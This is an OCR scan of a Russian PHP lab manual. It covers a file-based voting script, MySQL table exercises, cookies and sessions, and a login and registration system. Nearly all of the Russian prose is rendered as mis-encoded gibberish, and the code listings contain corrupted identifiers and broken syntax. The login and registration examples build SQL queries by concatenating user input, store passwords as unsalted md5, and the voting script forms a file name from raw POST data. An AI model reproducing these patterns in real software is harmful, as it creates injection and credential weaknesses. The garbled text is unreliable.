IIoaroToBUTH TEKCT mporpaMmhl, 06CCHCHHBaIOHICﬁ CJICOAYIOIINC JIeHCTBUS.

Ilo HaxaTu KHONKH

"IpOrojocoBaTh" HY’)KHO B COOTBETCTBHHU C BEIOPAHHOM OIIEHKOM:

— OTKPBITh HEOOXOAMMBIH (haii,

— MPOYUTATH 3aITUCAHHOE B (haiisie yucio,

— YBEJIMYHTD €r0 Ha €AUHUILY,

— M TIepe3anucarh pe3yiabTaT B 3TOT Ke (aii.



BeIBecTH pe3yibTaThl FOJIOCOBAHUS. Pesy. s TaThI rOJI0COR AHHSA:
PesybTars! ronocos asus: 3-35uer
4-6uer [l
5-30 yeu. 3-74en. [N
4 -6 weu. 2-10wex NN
3- Tyen. -
2-10 yem. Max cumyn=35

[IpoTectupoBaTh paboTy MporpaMmMbl He MEHEE JECITH Pa3, IPOCMOTPETh COAEPKUMOE (HaitsioB.
MonudunupoBars  nporpaMmy Tak, 4TOObI pe3yJIbTaThl FOJIOCOBAHUS BBIBOJMINCH B BUJIE AUATPAMMBI.
Co3natp 1Ba BcrioMorareibHbIX (haitna. [lepBelii JommkeH o0ecriedynBaTh CO3aHNe TEKCTOBBIX (aifioB 2.txt,
3.txt,4.txt, 5.txt u 3anuck B HUX uncna 0. Bropoit — ynanenue stux ¢aitnos. [IlpousBectu HECKOIbKO pa3
TECTUPOBAHUE MPOIIECCA TOJIOCOBAHMUS.

Pexomenoayuu no cocmasnenuro npoepammoi

1. Cozpars ¢ainbl 1 xpaHeHus nHbopManuu: 5.txt, 4.txt, 3.txt u 2.txt ¢ mepBOHAYaILHBIM 3HAYCHUEM
0 B kaxaom (aiine. B nmanpHeimemM B HUX OYyAyT 3alMCHIBATbCS 3HAYEHHS] CUYETUMKOB OTBETOB MPH
rOJI0COBAaHUHU.

2. Hamucate ¢parMeHT mporpaMMmsbl, oOecreunBaroIiii BEIBO (OpMBI. 3HAYCHHS MapaMeTpPoOB MOJIA
dbopMmbl ykazate mudpoi (5, 4, 3, 2), coBnamarmeil ¢ umeHeM (daiina. Hampumep, IU1s epBOil CTpOKH
(OpMBI ¢ OTMETKOW OTIMYHO TOJIE€ POPMBI MOXKET BBITJISAETH TaK:
<input type="radio" name="vote" value="5" checked > ornuuno<br>
3aMeTuM, 4TO TOJIBbKO 37O mose "ormeueHo" (checked), 4ToOBI CTUMYTHUPOBATH MPUHSATHE MTOJIH30BATEIEM

YKEJIaeMOTr0 pelIeHHUS.

3. CoctaBuTh mnporpamMMmy oOpabOTKH IepeJaHHbIX AaHHBIX (Hanmpumep, merogom POST). Huxke

MpHUBEAEH (parMeHT NPOrpaMMBbl JUIsl peain3aiuu o0paboTKu (QailyioB (YTEHHS U 3aIIMCH HOBOT'O 3HAYEHUS)

if (@$_POST['vote'])
{
/I ecnu mapameTp vote nepenaércs merogom POST, 3HauuT Ha)xaTa KHOIKA MTPOT0JIOCOBATH
$file=$_POST['vote'].".txt";
// B IEpeMEeHHOMU vote coaepkutcs uncio 2, 3, 4, unu 5. Hamm aitnbl MEroT Takue e
// Ha3BaHMsl, 3HAUUT MBI MOKEM HCIIOJIb30BaTh TU 3HAYEHUS A7 BbIOOpa (haiina,
/I copMUpOBaAB TaKKUM 00pa30M €ro UMs
$f=fopen($file,"r");
// oTKpBIBaeM (aiit Jisl YTeHUS
$votes=fread($f,100);
// 3amHchIBaeM B TiepeMeHHYI0 $votes cTapoe konudecTBo rojiocos fclose($1);
// 3akpbIBaeM (aiin
$votes++;
// yBEIMYUBaEM Ha €TUHUILY KOJTHUECTBO FOJIOCOB
$f=fopen($file,"w");
// oTKpBIBaeM Gaiin 115 3anucu
fwrite($f,$votes);
// 3amchIBaeM B (ailll HOBOE KOJIMUYECTBO FOJIOCOB
fclose($f);
// 3akpbIBaeM (aiin
3. Jlommcath pparMeHT MPOTrpamMMBbI JIJIsl CYMTHIBAHKS HH(GOPMAIMH M3 KaKI0T0 ¢aiiia u BIBOJIA PE3yJIbTaTa.
4. Jlns BBIBO/IA TUArpaMMbl MOKHO BOCIOJB30BATHCS TATOM TOPH3OHTAIBHOW JHHMHM <hr> ¢ mapaMeTpamu.
Hanpuwmep:
7>
<hr align="left" color="#FF0000" size="20" width="<?=3%vline?>">
<? IIporpamMMHBIil KOZT



3navenne nmapamerpa width, oTBeuaromero 3a MUpPHUHY JUHUH, 371€Ch 3aaHbl (hparMeHTOM php- cKpumTa —
yrpoiieHHas Gopma BeIBoza nepemeHHoi. CamMo 3HaueHHe mepeMeHHoW $vline MOKHO OBITH CBSI3aHO C
nepeMeHHoi $votes MacTaOHBIM KO (OUITMECHTOM, KOTOPBIH CIIEYEeT M0A00paTh CaMOCTOSTEIBHO.
3aoanue Ne 3. Peanu3oBaTh NpUIOKEHUE A1 pabOTHI ¢ TeIe()OHHBIM CHPABOYHUKOM, JaHHBIE KOTOPOTO
XpaHATcs B TeKcToBOM (aitne. [IpenycMoTpeTh BO3MOKHOCTh COXPAHEHHUSI HECKOJIBKUX HOMEPOB TeiedoHa
JUTSL OHOTO a0OHEHTA.

3aoanue Ne 4. Peanu3oBath NMpHIOKEHUE AJIS MPOBEPKH JOCTYIHOCTH CEpBepa, aapec KOTOPOro BBEIEH
noJib30BaresieM B popmy.

3aoanue Ne 5. PeanuzoBarb NPUIIOKEHUE IS MOTYYEHUS W OTOOpakeHHUs] MHPOpPMAIUH, TMOJIYYCHHOU C
yZaJIE€HHOTO cepBepa (HampuMep, MPOrHo3a Moro/sl, JICHThI 3ar0JIOBKOB HOBOCTEH ).

3aoanue Ne 6. PeanusoBaTh mpriiokeHUe-(halI0-0OMEHHUK, ITO3BOJIAIONIEE IMOCETUTEISAM CTPAHHIIBI
3arpyxartb (aii-Ibl, MOKa HE HCUEPIIaH YKAa3aHHBIN B HACTPOMKAX MPUIOKCHHS 00-IIUN JTUCKOBBINA JTUMHUT, a
TaK)Ke€ IPOCMATPUBATh CIHUCOK BCEX 3a-TPYKEHHbIX (ailioB u yaansate ux. I[IpemycMoTpers crucok
pa3penieHHbIX TUIIOB (PaliioB.

Jlaboparopnas padora 4. «Opranuzauus noaaep:kku 6a3nl JaHubix B PHP»
Lenb: mony4yeHne HaBBIKOB paboThI ¢ 6azamu gaHHbIX B PHP.
XOJl PABOTHBI:
3aganue Ne 1. V3yuuTh Marepualbl, COJAEpKallie TEOPETHUYECKHE CBEACHHS 00 opraHu3aluu padoThl C
Oasamu gaHHBIX B s13b1ke PHP.
3aganue Ne 2. Co3nath cBOO 0a3y JaHHBIX, HanpuMep, bazal.

MySQOL
Cozpatb HoByio bl
bazal |CpaE=HEHIr18 _v_| Cozaate

[Ipocmotpets pe3ynbTaThl padoTsl MySQL, npoanann3upoBaTh BBIOTHEHHBIH SQL-3ampoc, moay4uTs ero
PHP-koz. BeimonHuTh TecTMpoBaHue MpUMepa 1o MoKI0YeHno K 6a3e fanHbIx B PHP. 31ech u nanee ums
xocta Oyner localhost, ums monbp3oBaTens — root, mapaMeTp Mapoyib HY)KHO OCTaBUTh MYyCThbIM. Takum
obpazom, ctpoka $p = mysql_connect("ums xocta", "ums nonp3osarens'”, "mapons") OyAeT BBITISIETh TaK:
$p = mysql_connect("localhost", "root","");

A ctpoka BbIOOpa 0a3bl JaHHBIX:

mysql_select_db("bazal™) or die("NO BASE");

Hayuutbes co3naBaTh TabnuIbl B 6a3e JaHHBIX CpeACTBAMU MpeIIokKeHHOro nutepgeiica. [Tosnakomutcs ¢
OMMCAHUEM XapaKTePUCTHK MoJied mpu co3zgaHuu Tabnuubl. [IpoaHanu3upoBaTh onucaHue MOJNEH NpU
co3manuu Tabnuikl telephones:

create table telephones(id INT AUTO_INCREMENT PRIMARY KEY, surname VARCHAR(20),

email VARCHAR(20), tel VARCHAR(20));

Coznate Tabmuny telephones cpencrtBamu mnpeanokeHHOro uHTepdeiica. 3amoaHUTH TaOIUIYy IBYMS
3aMUCSAMH, HAYYUTHCS IPOCMATPUBATh U PEAKTUPOBATD 3aMUCH. Y IaIUTh TaONIHUILY.

Coznate Tabmuny c¢ nomomibto nporpammbel PHP. Beimonnute mnporpammy. [lomonHuth Tabnuiy
HECKOJIbKUMH 3alMCIMU Yepe3 NpeanoxkeHHbli nuurepdeiic. [lpocmorpers Tabnuily telephones. IlonomHuts
TabnuILy IporpaMMHbIMU cpenctBamu PHP.

Co3znatp coOcTBeHHYIO (opMy Ui 3aroyHeHUs Tabuuibel. HanoaHuTe Tabauily AaHHBIM, CPEAM KOTOPBIX
JOJIKHBI OBITh HECKOJIBKO 3alKCcel ¢ 0OIMHAKOBBIMU GamMuiusMu. HayuuTbcst BBIBOOUTH JaHHBIE U3 TaOIUI]
IPOTPaMMHBIMU CPEICTBAMHU.

Coznarp Tabnuiy ¢ ToBapamu products (mmosist: uaeHTU(GUKATOP, HA3BAHUE, IIEHA, ONIMCAHUE) U TTPOTPAMMHO
3aMOJIHUTH €€ MAThI0 — IIecThio ToBapamu. OOecrneunTh cpeacTBa uHTepderica s paboOThl ¢ TOBapaMu
(3aIMmoJTHEHUE U MPOCMOTP TAOJIUIIBI ).

3aganme Ne 3. CpencrTBaMu npeioxKeHHOro uHTepderica 1 paboThl ¢ 6a3aMH JaHHBIX CO3/1aTh TaOIHILy
JUI XpaHEHMs JAaHHBIX O CTpaHax — MPOM3BOAMTENAX ToBapoB B Bamem MHtepHer marazune. Hampumep,
TabIMILy country, KOTOpast CONEP>KUT MOJIS:

id_C — uaeHTHHUKATOP CTPaHBI, ¥ NAME_C — Ha3BaHUE CTPAHBI.

Tumbl nosieit BHIOpaTh caMocToATENbHO. [IprMep TabauIb! IpUBEIEH Ha PUCYHKE.



MNone Tun
id ¢ int(11)

Mame_c varchar(30)

3anoiaHuTh Ta6J'II/IL[y JABYMs — TpEMS 3allUCAMMU.

Mowen

«— [ — id_c Name c
r # X 1 Poccus
~ & X 2 Kuran

B tabnuiy products 1o0aBUTh el1e OIHO MOJIe — UASHTU(DUKATOP CTPaHbl — MPOU3BOAUTENSA. THI TaHHBIX
9TOTO TOJIS JOJHKCH COBIAIATh C THITIOM T10Jist id ¢ TabmuIs! country.

Mone Tun
id int(11)
name tinytext
section tinytext 1
description text |
price float

country int(11)

3anmonHUTh B Tabaume products BHOBb CO3JaHHOE II0JI€ HJCHTU(UKATOpa CTpaHbl 3HAYCHUSIMH,
COOTBETCTBYIOIIMMU Tabnuile country. Co3aath ¢aitn BpIBOJa KaTajaora TOBapOB TakK, YTOOBI OH BBIBOJIUJ HE
TOJIBKO TOBAphl, HO U CTPAaHbI UX IPOU3BOAUTEIEH.

O6ecneunTh BBIBOJ TOBAPOB C COPTUPOBKOM IO MOJIIO CEKIIMH TOBAPOB.

Pexomenoayuu no cozoanuro npoepammoi

Jlns oOpariieHust K CBSI3aHHBIM TaOJUIIaM B 3allpoce HEOOXOAUMO NMpeABapATh Ha3BaHUs MOJeH UMEHEM UX
tabmui. B yactu FROM — yka3zats uMeHa Tabnuiy yepes 3amsryto, a B Belpaxkxenue WHERE yka3zaTs ycnoBue
paBEHCTBA 3HAaYEHUH JaHHBIX B MOJISX cBs3U. Hampumep:

$query = "SELECT country.Name_c ,products.section, products.name, products.description, products.price
FROM products, country WHERE (country.id_c=products.country) " ;

Sresult=mysql_query($query);

Tloacuenus k opeanuzayuu cCOpmupoeKu

B 3anpoce Ha BBIOOPKY COPTHPOBKY MOKHO BBIIOJHHUTH C MOMOIIBIO MHCTPYKIMU order by ums moJs.
Hampumep, nst cOpTUPOBKH TOBapOB MO BO3PACTAHUIO UX CTOMMOCTH 3ampoc OyIeT BBIIISIETh TaK:
Sresult=mysql_query("SELECT country.Name_c, products.section, products. name, products.description,
products.price FROM products, country WHERE country.id_c=products.country order by products.price™);
UtoObl 3a1aTh 0OpaTHBINA MOPSAIOK COPTUPOBKU HYX HO 100aBuTh uHCTpykmio DESC nocne umenu noss,
ABJISIFOLIETOCS KIIFOYOM COPTHPOBKH.

3aganue Ne 4. Cosznate b/l ¢ Tpemst nomnsimu:

azpec IEKTPOHHOM MOUTHI (50 CHMBOJIOB), TEKCT coobOteHus (250 CHMBOJIOB), 1aTa U BpeMs OTIPAaBJICHUSI.
Hanwmcars nporpamMmy, ¢ IOMOIIBIO KOTOPOM I10JIB30BATEIN MOTYT 3aIllOMHUTH 3Ty b/l

3ananue Ne 5. Hanucate cucremy xpanenus kHur B b1, Ha3Banus KHUT 1 aBTOPBI — OOJIBIIIE HUYETO XPAaHUTh
He Hamo. Ilpemnoxurte CTpyKTypy TaOmuI. YYTHUTE, YTO KHHUIa MOXKET OBITh HAIMCaHAa HECKOJIbKUMH



coaBTopamH. [lomydnTe CIMCOK KHUTI, KOTOpbIE HAIMCAHbI TPEMs COaBTOpPAMHU. TO €CTh MOITYYHUTh OTYET
«KHHTa — KOJIMYECTBO COABTOPOB» U OT(hUIBTPOBATH T€, y KOTOPHIX COABTOPOB MEHBIIIE 3X.

Cnemnaiite 310 oqauM SQL 3ampocom.

3ananue Ne 6. EcTb 6aza: GUIBMBI M CTPaHbI, y OJHOTO (PHIIbMa MOXKET OBITh MHOTO CTPAaH MPOU3BOJUTEICH,
HaJl0 nocTpouTh 6a3y. Hepaausblil mporpaMMucT yaasisit (puiIbMbl, HO HE TOAYMCTII Tabuuy cBsa3u. Hano
HAWTH ¥ yIaIUTh BCE MYCOPHBIE 3aIUCH, KOTOPBIE OCTAUCH B TAOJIHIIE CBA3H.

Jlaboparopnasi padora 5 «OTc/ie:kuBaHue CeaHCOB (session)»
[lenb: moJiydyeHre HABBIKOB PETUCTPALIMKM U aBTOPU3AIlK M0JIb30BaTesel Ha caiite B PHP.
XOHI PABOTBI:
Teopemuueckue ceedenus

BobIIMHCTBO CI0KHBIX WED-TIpHIIOKEHHI TO3BOJISIOT PETUCTPALIMIO U aBTOPU3AIIMIO MOTb30BaTEeH
Ha caiite. OCHOBOM AJI YIpPaBJICHHUs MEXaHM3MaMHU aBTOpHM3alMU CiyxaT ceccuu. Ceccun MO3BOJSIOT
CO3/1aBaTh U UCIIOJIb30BATh IIEPEMEHHBIE, COXPAHSIOIINE CBOE 3HAUEHUE B TEUEHHUE BCETO BPEMEHU pabOThI
nojb3oBarenss ¢ caidtoM. [Ipy 3TOM y KaXAOro moib30BaTess caiTa JaHHbIE IEpEeMEHHbIE OyayT
COOCTBEHHBIMH, T.e. MX 00JacTe BUAMMOCTH (aHII. variable scope) pacmpocTpaHseTcsi Ha BCE BpeEMs
HAaXO0’KJICHUs Ha CaliTe KOHKPETHOT'O MOJIb30BATEs, IPHUEM IS KaXKJ0I0 3aX0/1a I10JIb30BaTellsl Ha Balll CAlUT
9TH NIEPEMEHHBIE OYIyT pa3IHIHBIMU.

B ocHoBe Bcero mMexaHu3Ma CECCHM JICKUT pelleHHe 3ajjauyd 00 WAEHTH(HKAIMU TOro, OT KOro
MMEHHO MpHILEeT 3anpoc Ha cepBep. Ecin 310 OyneT TOYHO M3BECTHO, TO YXKE HE BO3HHMKHET OOJIbIION
npoOiaeMbl B TOM, YTOOBI MPEJOCTaBUTh CKPUOTY HHPOPMALUIO, OTHOCALIYIOCS HMEHHO K 3TOMY
KOHKPETHOMY I10JIb30BaTEIIO.

JlaHHas 3a7aya pemaeTcs MyTeM HPUCBOCHUS KaXI0M cecCMM YHHMKabHOro uaeHTudukaropa SID
(amrm. Session [Dentifier), KOTOpBIi cO3MaeTCsl B TOT MOMEHT, KOTJIa TOJL30BaTeNIb 3aXOJUT HA CaHT, U
YHHUYTOXKAETCsl, KOTJa MOJb30BaTeNb YXOAUT C caita. OH mpeacTaBiseT co0oi cTpoKy U3 32 CHMBOJIOB,
Harpumep, ac4f4a45bdc893434c95dcaftblcl811. SID mepemaeTcst Ha cepBep BMECTE C KaXIbIM 3alPOCOM
KJIMEHTa M BO3BpaIaeTcsi 00paTHO BMECTE C OTBETOM CEpBepa.

AnroputM renepanuu SID mo3BosieT TrapaHTHpPOBaTh €ro YHUKaJIbHOCTh, MOITOMY MCKIIIOUYE€HA BO-
MOXKHOCTh TOT'O, YTO JBE CECCHMM OyAyT UMETh OJMH U TOT ke uieHtu¢ukatop ceccun. PHP moxer
MCIIOJIb30BaTh JIBa Pa3INYHbIX MEXaHU3Ma B Ka4eCTBE TPAHCIIOPTHOTO cpeAcTBa Juist nepeaayu SID:

e (haitibl cookies;
e onoyiHATENbHBIN nTapameTp URL-anpeca.

Cookies (ot anri. COOKie — riedeHbe) — 3T0 HeOOobIIHe TEKCTOBBIE (haiinbl ¢ 3ammppoBaHHOM HHOpMAaIHEH,
OTIIpaBJisieMble BEO-CEpBEPOM M XpaHMMbIE Ha KOMIBIOTEPE MOJIb30BATENs B HA3HAUEHHOUM Opay3epoM uis
9TON eI CUCTeMHOM mamnke. bpaysep BCskuil pa3 npH MONBITKE OTKPHITh CTPAHUILY COOTBETCTBYIOILETO
caiita nmepecbuiaer ero cookie cepsepy B cocrae HTTP-3anpoca, npu stom SID coxpansercs "BHyTtpu"
Opay3epa M ocTaeTcs He3aMeTHBIM /IS ojb3oBarens. [loanepxka cookies — HeoOs3aTeNnbHOE YCIOBUE IS
Opay3epa, OHa MOXET OTCYTCTBOBaTh WM OBITh OTKIIIOueHa. Bce cookies, kak MUHUMYM, UMEIOT UMS U
3Ha4eHHe, a OTIPa-BUTh X MPOrPaMMHO MOKHO (yHKIuer bool setcookie (string $name [, string $value]),
UMEIOLIEH ellle He-CKOIbKO HE00s13aTEIbHbBIX TapaMETPOB.

[TpounTaTh UMEIOIIMECS ISl TAaHHOM CTpaHUIIBI cookies MOMXKHO KaK 3JIEMEHThI aCCOLMAaTUBHOTO MAacCHBa
$_COOKIE.

OyHKIMM U1 yraneHus cookie He CyIIECTBYET, 3TO NMPOUCXOAMUT JMUOO MO UCTEUEHHU CpOKa ee
XpaHeHus1, 1100 MO SBHOMY BBI30-BYy setcookie ¢ yka3aHHEM TPEThbUM MapaMETpPOM BPEMEHH XPaHEHUS,
KOTOpO€ yxe UCTeKo: setcookie ('my_cookie',",time()—14*24*3600); CneayeT Takke y4ecTh, YTO BHaYaje
cepBep HampaBiseT cookie KIMeHTy Kak 4yacTh oTkiauka HTTP, motoM kineHT, eciii OH TOTOB MPUHSTH
cookie, Bo3BpaiaeT ee cepepy. [loaTomy 1u1st IpOBEPKH TOTO, TOIKITIOYEHBI U cookies B Opay3epe KIIMeHTa,
CKPHIITY MOKET ITOHAaJ00UThCS ITPOrpaMMHasi Iiepe3arpys3Kka CTpaHuUIbL.



<?php
$my_ccokie = '';
if (!isset (S_GET|['step']l})) { //fepsmii sm308
setcookie ('my_cocokie','ck'});
header ('Location: '.$_SERVER['PHP_SELF'].
'?step=1"); //lepesarpyxaen c napamerpom step=1

——

se { //29T0 MOBTOPHHY BH3OE?

res=Q@S5_COCKIE[ 'my_cookie']=='ok'?
'"Yes':'No';
setcockie ('my_cockie','’',
time()-14%24*3500);
echo '<br>Cookie test: '.$Sres;

'

7>

[Ipu mpoBepke 3TOro Kojaa Mocje BKJIIOYSHHS/BBIKIIOUEHUS B Opaysepe momiepkku cookies amst
HEKOTOPBIX 00O03peBareneii MOXKET MOHATOOUThCS UX Iepe3anyck. MeHee "KpacuBBIA" allbTepHATUBHBIN
cioco0 pabotel ¢ SID — ero mepemaua uepe3 mapamerp URL-agpeca. PHP umeer B0O3MOXHOCTH
aBTomMatuyecku 1060aBnATh SID ko Bcem ccbuikam B renepupyembix HTML crpanumax, mosToMy BaM, Kak
NpaBUJIO, HE HY)KHO OyneT 3a00THTHCS O TOM, YTOOBI AOOABISATH 3TOT UACHTU(MUKATOP K KaXKIOW CCBHIIKE
BpyuHyt0. Eciu ke BbI 0 KakuM-Tu00 MpUYHMHAM XOTUTE CaMU NepeaaBaTh HIEHTH(HUKATOP CECCUH — BBI
BCEr/la MOXKETE MOJIYIHUTh ero u3 KOHCTaHThl SID wim u3 ynkuuu session_id(). JlanHbIi ciocod HeymnoOeH
teMm, uto SID Oyner otoOpaxarscs Bo Becex URL-aapecax mpuioxeHHs, 4TO MOKET CO34aTh, HAIIpUMeEp,
npobnemy ¢ unentuduranueit URL-anpecoB mornckoBbiMu MamuHaMu. OTKITIOYUTH HCIIOJB30BaHUE HOMEPa
ceccunt B URL MosxHO HacTpoiikoii session.use_trans_sid = 0 B ¢aiine php.ini. Ha npaktuke npumepso y 99,5
% monp30BaTenell cookies BKIFOYCHBI U IMOAJICPKUBAIOTCS, TIOITOMY JaHHBIA CITIOCOO MOYKHO CUHTATh HE
OUYCHB aKTyaJbHBIM.

Jl51g TOro 4T00BI KMETh BO3MOKHOCThH UCIIOJIb30BaTh CECCHOHHBIE IEPEMEHHBIE B CBOEH MPOrpaMMe,
HEoO0X0/MMO CHayalla co3AaTh ceccuto: session start(); HyHO BBI3BIBaTH 3Ty (PYHKIHUIO Ha KaKIOU
CTpaHuLE, I'7ie Tpe-0yeTcs UCO0Ib30BaTh CECCHOHHBIE epeMeHHbIe. 11 Hars,IHOCTH CECCUM MOYKHO 3a/1aTh
UM € TOMOUIbIO (PYHKIMM session_name(uMs_ceccur). JlenaTh 3To HyKHO ellle 10 MHULUAIN3alUN CECCUH.
[TonyuuTs uMs TeKylIed CecCCMM MOXHO C TOMOIIBIO ATOM ke (DYHKIIMH, BbI3BaHHOW O€3 MmapamMeTpoB:
session_name().

Peructparusi cecCHOHHBIX TIEpEMEHHBIX MPOU3BOAUTCS MTyTEM BbI30Ba CIEAYIONIEH (yHKITNH:
session_register(‘varl','var2',...);

3aperucTpupoBaTh MEPEMEHHYIO TaK)K€ MOKHO, IIPOCTO 3allMcaB €€ 3HAYCHHE B acCOLMATHUBHBIN
maccuB § SESSION: § SESSION['ums'] = '3HaueHwue';

B sTOM MaccuBe XpaHSATCS WM OTKPBITHI JUIsi IPOrPAMMHOrO JOCTyIa BCE 3aperuCTPUPOBAHHBIC
(rnobanbHble) mepeMeHHble ceccud. llomyunTs uaeHTHdUKATOP TEKyleH CEeCCMM MOXHO C TOMOIIbIO
¢ynkuuu session_id(). @yHkMs session_unregister(uMsi_MepeMeHHON) yJanseT YKa3aHHYIO0 TTT0OalbHYIO
MEPEMEHHYI0 U3 TeKyllel ceccuu. /st Toro 4To6sl cCOPOCUTH 3HAUEHUS BCEX NMEPEMEHHBIX CECCHH, MOYKHO
UCIIOJIb30BaTh (PYHKIUIO session_unset().

YHUUYTOXUTH TEKYIIYIO CECCHIO IEIMKOM MOXHO (yHKIMer session destroy(). OHa He cOpachiBaeT
3Ha4YeHUs TJIO00aNbHBIX NEPEMEHHBIX CECCMM W He yaaiser cookies, HO YHHMYTOXAaeT BCE JaHHBIE,
accouuupyemble ¢ Tekymiei ceccueil. Crenyer MOHMMAaTh, YTO HCIOJIb30BAaHUE MEXaHU3Ma CECCHIl He
rapaHTUpyeT NOJHON O0e30MacHOCTH CHCTeMbl. Bo-TepBBIX, JaHHBIE, MEPEAAIONIIUEcs IO OTKPHITOMY
npotokony HTTP, Moryt ObITh mepexBaueHbl, BO-BTOPbIX, TaK KaK MEpEMEHHbIE CECCUU TJI00ATbHBI, OHU
COXpaHSIOTCS B 3aIM(poBaHHOM BHJE B cookie-daiiax Ha KOMITbIOTEpE Mosb30BaTels. bonee Hane)KHBIM
pelIeHnEeM MpeACTaBIsAETCS XpaHEHUE IEHHBIX JaHHBIX, TAKUX KakK JIOUTHBI M MapoJid, TOJbKO B 0ase U ¢
mu@poBaHUEM TapoJiel, a TaKXKe HKCIONb30BAHUE B BAXKHBIX MPHIOKCHUAX 3alIUIICHHBIX BEPCHIA
npotokoioB, Takux kak HTTPS. C ydueroM ckazanHOTro, 100aBUM K BO3MOXKHOCTSIM IpUMeEpa 9 HECTOKHBII
MEXAHMU3M PErucTpali U aBTOPU3aLMH [10JIb30BATENIEHN C NCIIOJIBb30BAHNEM CECCHUM.

YacTth ko2, JOCTYMHAS TOJIBKO JJI1 aBTOPU30BAHHBIX TOJIb30BaTENel, MOXKET ObITh peaii30BaHa B
daiine index.php u qpyrux MoIyssiX CUCTEMBI CIEAYIOUIMM 00pa3oM:



Oynaknus check user, moGaBneHHas B Moayhab functions.php, mpocTo TPOBEPSET, BHITIOIHIIACH

$loginl = check_user();

if (lempty($loginl)) {
echo '<p>Bu Bommm xak '.Sloginl.
'. <a href="locgout.php">Buxom</a></p>';
//xoQg mns asTOPMECBAHHOTC MNOAL30BATENd

H
else {
include "logferm.php";
H
aBTOPU3AaLIUsl, CBSI3aHHAs C YCTAHOBKOM OIPEIEICHHON [IEPEMEHHON CECCUH:

functicn check_user () {
if (!isset ($_SESSION|['my_inside']))
return '';

else return S SESSION|'current user'l;
<form method="post" action="login.php">
<table width=100% align=center border=0>
<tr><td>llormm: </td>
<td><input type=text size=32 maxlength=32
name=login></td>r</tx>
<tr><td>Napons:</td>
<td>
<input type=passwerd size=32 maxlength=32
name=password></td></tr>

<tr><td align=center>
<a href="register.php">Perxcrpauna</a></td>
<td align=center>
<input type=submit value="0K"></td></tr>
</table></form>
<?php /*ppyroit xom */ ?>

JIA

Bxmrouaemsrit monyns logform.php comepxut xoxa st BeiBoga (GOpMBI aBTOpU3AIUH, OTIIPABKHU JIOTHHA U
naposst MoayIto login.php, HEIOCPEICTBEHHO OTBEYAIOIIEMY 32 BXOJ B CHCTEMY, a TAK)K€ CCHUIKH Ha MOJYJIh

peructpanuu register.php:

Monayns login.php cpaBHHBaeT jgaHHbIE, TIOJIyueHHbIE M3 (OpMBI BXOja,

C JIOTHHOM H

SaIHI/I(l)pOBaHHBIM MapoJICM, XpaHAIIUMUCA B Oaze. HpI/I COBIMAACHWHN JAHHBIX YCTAHABJIMBAIOTCA HYXKXHBIC

MEPEMCHHBIC CECCUU U MTPOUCXOJUT MEPCHAIIPABJICHUEC HA I'NTABHYIO CTPAHUILY:

<?php
$params = array('legin', 'password'};
require_once ("functions.php");
functicn login ($leginl, S$passwordl) {
$sgl = 'select login, password from °'.
'‘users where login="',$loginl.'"™ limit 0,1';
Sresult = dbquery ($sql);
if (Sresult and dbrows($result)>0) {
$data = dbfetcha (S$result);
if ($datal'password']==md5 (Spasswordl)) {
§_SESSION['my_inside']=1;
§_SESSION['current_user']=Sloginl;

}

b

login ($login, $password);
header ('Location: index.php');
7>

Monyns logout.php, Takke BEI3BIBaEMBIN 1O CChLIIKE U3 index.php, MO3BOJISIET BBIMTH U3 CUCTEMBI:



<?php
require_once ("functions.php");
$current_user=check_user();
if (!empty(fcurrent_user)) {
S_SESSION = array();
session_destroy ();
i
header ('Location: index.php');
7>
Haxoneu, monyns register.php IpEeaOCTaBIICT (I)OpMy JUISL PETUCTPaLMU, POBEPSET BBEACHHBIN JOTHH HA

YHUKAJIbHOCTH U ,I[O6aBJ'I$[eT HOBYIO 3aIIMCh O IIOJIL30BATECJIC, €CIIW PETUCTpaluA YCIICHIHA:

<?php
$params = array('legin', 'passwordl', if (lempty($error)) {
'password2'); echo '<p>'.§error.
¥ ', <a href="register.php">nonpobyre '.

require_once ("functions.php"); Vi PSS RTRS T
include “head.php"; include "foot.php";
Serror="'; exit;

if ('empty($passwordl) and }

if (!empty($login) and !empty($passwordl)) {
$sgl='insert into users (login,password)’'.
' values ("'.$login.'", "',

Spasswordl!=Spassword2)
Serror.="'llaponx He cornagaot';

if (!emp:y($login]) { md5 (§passwordl) .'™)';
Ssgl='select login from users '. Sresult=dbguery (Ssql) ;
'where login="'.$login.'" limit 0,1'; it (!Sresult) { echo "Bad sql $sql"; |

Sresult=dbquery($sql); 315: {' . :
. v & v ecno <p>PerucTpaums Crem:Ha BOMIUTE .
if (Sresult and dbrows($result)) { i P P Z,. o "n,J
3 B cucteMmy c <a href="index.php">'.
$data=dbfetcha (Sresult); 'rnaBHOH cTpaEMuLIL/a></p>';
if ($data['legin']==$login) ({ }
Serror.='Takoil JNOTUH yXe €CTE';

}

lse {

v 0 -

\
'

<form method="post">
} <table width=100% align=center border=0>
<tr><td>Hosmit nmormm:</td>

<td><input type=text size=32 maxlength=32
name=login></td></tr>

<tr><td>Hoeemi naponw:</td>

<td><input type=password size=32 maxlength=32
name=passwordl></td></tr>

<tr><td>Hoewl? mapone eme pas:</td>

<td><input type=password size=32 maxlength=32
name=password2></tad></tr>

<tr><td colspan="2" align=center>

<input type=submit wvalue="OK"></td></tr>
</table></form>
<?php
1
include "fcot.php";
?2>

[Ipennonaraercs, 4to BKiIoyaemble Qaitnbl ¢ mmeHamu head.php u foot.php comepkar obmue ams
Bcex (hailytoB mpoekTa Au3aiHepckue "manky" u "moaBan" cTpaHUIbl. PekoMeHyeMble 10 UTOTaM TIaBbI
pazzmensl  craHaapTHod cmpaBku: "CrpaBouHuk s3pika" — "lIpemompeneneHHble nepeMeHHbIE!  —
"$ COOKIE", "CnpaBounuk GpyHkiuit" — "OyHKIHK 115 pabOTHI C CeCCHsAMU '
3aganue Ne 1. V3yunts npuBEACHHBIN TEOPETUYECKUI MaTepHUall.
3amanue Ne 2. [IpoTecTupyiiTe NpuBEICHHBIN TPUMED.
3ananme Ne 3. Hamucatpe mporpamMmy COXpaHEHHs NEPCOHAIBHBIX HACTPOEK MOJb30Baress (HUK U (OH
CTPaHMI) C UCTIOJIB30BaHNEM (PYHKIIUN YIIPABJICHHS CECCHUEH.
3ananue Ne 4. Harucats nmporpaMmy, KOTopasi IpuMeHsieT GYHKIUH YIIPaBJICHUS CeCCUel /Ui 3alIOMHUHAHUS
TOT0, KaKHe CTPaHMILbI YK€ IMOCEIAINCh M0JIb30BaTelIeM. BbIBECTH CHUCOK CCHUIOK Ha BCE MOCEIICHHBIE
CTpaHULBI.

JlabopaTopnasi pa6ora 6. «Co3nanue npoexkta «Peructpanus»»
